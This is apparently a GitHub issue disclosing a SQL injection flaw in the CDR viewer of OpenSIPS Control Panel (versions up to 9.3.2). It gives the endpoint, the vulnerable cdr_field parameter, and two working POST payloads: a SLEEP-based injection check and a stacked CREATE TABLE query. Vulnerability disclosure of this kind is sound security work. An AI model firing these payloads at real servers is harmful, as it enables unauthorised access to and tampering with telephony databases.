Opensips CP <=9.3.2 : CDR Search Action SQL Injection
Integration-IT opened this issue · 0 comments
Integration-IT commented
Hello,
PATH:
/cp/tools/system/cdrviewer/cdrviewer.php
PARAM:
cdr_field (duration)
METHOD:
POST
INJECTION CHECK:
Payload: cdr_field=duration;SELECT SLEEP(5)#&search_regexp=0&start_year=2022&start_month=06&start_day=02&start_hour=23&start_minute=07&start_second=07&end_year=2022&end_month=06&end_day=02&end_hour=23&end_minute=07&end_second=07&export=Export
ARBITRARY COMMAND:
cdr_field=duration;CREATE TABLE Injection (id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,firstname VARCHAR(30) NOT NULL,lastname VARCHAR(30) NOT NULL,email VARCHAR(50),reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP)#&search_regexp=0&start_year=2022&start_month=06&start_day=02&start_hour=23&start_minute=07&start_second=07&end_year=2022&end_month=06&end_day=02&end_hour=23&end_minute=07&end_second=07&export=Export